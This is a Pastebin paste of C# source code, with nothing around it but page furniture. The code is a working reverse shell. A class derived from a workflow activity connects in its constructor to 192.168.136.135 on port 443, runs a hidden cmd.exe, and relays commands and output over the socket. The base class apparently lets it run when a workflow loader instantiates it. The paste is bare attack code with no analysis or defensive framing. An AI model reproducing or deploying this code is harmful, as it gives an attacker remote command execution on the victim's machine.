Advertisement
Guest User

Untitled

a guest
Oct 17th, 2019
81
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.68 KB | None | 0 0
  1. using System;
  2. using System.Text;
  3. using System.IO;
  4. using System.Diagnostics;
  5. using System.ComponentModel;
  6. using System.Net;
  7. using System.Net.Sockets;
  8. using System.Workflow.Activities;
  9.  
  10. public class Program : SequentialWorkflowActivity
  11. {
  12. static StreamWriter streamWriter;
  13.  
  14. public Program()
  15. {
  16. using(TcpClient client = new TcpClient("192.168.136.135", 443))
  17. {
  18. using(Stream stream = client.GetStream())
  19. {
  20. using(StreamReader rdr = new StreamReader(stream))
  21. {
  22. streamWriter = new StreamWriter(stream);
  23.  
  24. StringBuilder strInput = new StringBuilder();
  25.  
  26. Process p = new Process();
  27. p.StartInfo.FileName = "cmd.exe";
  28. p.StartInfo.CreateNoWindow = true;
  29. p.StartInfo.UseShellExecute = false;
  30. p.StartInfo.RedirectStandardOutput = true;
  31. p.StartInfo.RedirectStandardInput = true;
  32. p.StartInfo.RedirectStandardError = true;
  33. p.OutputDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler);
  34. p.Start();
  35. p.BeginOutputReadLine();
  36.  
  37. while(true)
  38. {
  39. strInput.Append(rdr.ReadLine());
  40. p.StandardInput.WriteLine(strInput);
  41. strInput.Remove(0, strInput.Length);
  42. }
  43. }
  44. }
  45. }
  46. }
  47.  
  48. private static void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine)
  49. {
  50. StringBuilder strOutput = new StringBuilder();
  51.  
  52. if (!String.IsNullOrEmpty(outLine.Data))
  53. {
  54. try
  55. {
  56. strOutput.Append(outLine.Data);
  57. streamWriter.WriteLine(strOutput);
  58. streamWriter.Flush();
  59. }
  60. catch (Exception err) { }
  61. }
  62. }
  63.  
  64. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement